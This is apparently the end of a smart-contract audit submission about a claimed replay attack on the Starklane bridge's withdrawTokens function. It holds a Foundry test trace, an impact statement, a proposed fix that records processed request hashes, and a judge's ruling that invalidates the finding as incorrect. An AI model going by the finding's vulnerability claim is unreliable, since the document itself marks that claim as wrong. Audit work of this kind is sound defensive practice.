│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 12)
│ │ │ └─ ← ()
│ │ ├─ emit WithdrawRequestCompleted(hash: 13298499832182918516759644955324998285702092299788055518059161765071918283490 [1.329e76], block_timestamp: 1, reqContent: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 12, 0, 0, 0, 0])
│ │ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
│ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
├─ [602] ERC721MintFree::ownerOf(11) [staticcall]
│ └─ ← 0x2f66c75A001Ba71ccb135934F48d844b46454543
├─ [602] ERC721MintFree::ownerOf(12) [staticcall]
│ └─ ← 0x2f66c75A001Ba71ccb135934F48d844b46454543
└─ ← ()
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.66ms (2.06ms CPU time)
Ran 1 test suite in 1.00s (3.66ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The lack of validation for the req.hash signature exposes the protocol to replay attacks, where multiple transactions can be executed with the same signature. This can result in unauthorized operations and unexpected behaviors, compromising the integrity and reliability of the system.

Tools Used

  • Manual review

  • Foundry

Recommendations

To address the vulnerability, the protocol should implement validation for the req.hash value to ensure each request is processed only once. A possible solution for the Starklane::withdrawTokens function could be the following.

...
+error RequestAlreadyProcessedError();
...
+ mapping(uint256 => bool) private processedRequests;
...
function withdrawTokens(
uint256[] calldata request
) external payable returns (address) {
if (!_enabled) {
revert BridgeNotEnabledError();
}
// Header is always the first uint256 of the serialized request.
uint256 header = request[0];
// Any error or permission fail in the message consumption will cause a revert.
// After message being consumed, it is considered legit and tokens can be withdrawn.
if (Protocol.canUseWithdrawAuto(header)) {
// 2024-03-19: disabled autoWithdraw after audit report
// _consumeMessageAutoWithdraw(_starklaneL2Address, request);
revert NotSupportedYetError();
} else {
_consumeMessageStarknet(
_starknetCoreAddress,
_starklaneL2Address,
request
);
}
Request memory req = Protocol.requestDeserialize(request, 0);
+ if (processedRequests[req.hash]) {
+ revert RequestAlreadyProcessedError();
+ }
+
+ processedRequests[req.hash] = true;
...
Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

invalid-replay-attack-hash-not-stored-nonce-not-used

There is no impact here: Transaction cannot be replayed because the blockchain use the nonce in the signature. Hash is computed on-chain. Using or trying to have the same hash mean you need to buy the token, and they will be sent to their origin owner. Why an attacker would buy tokens to give them back ? No real impact.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.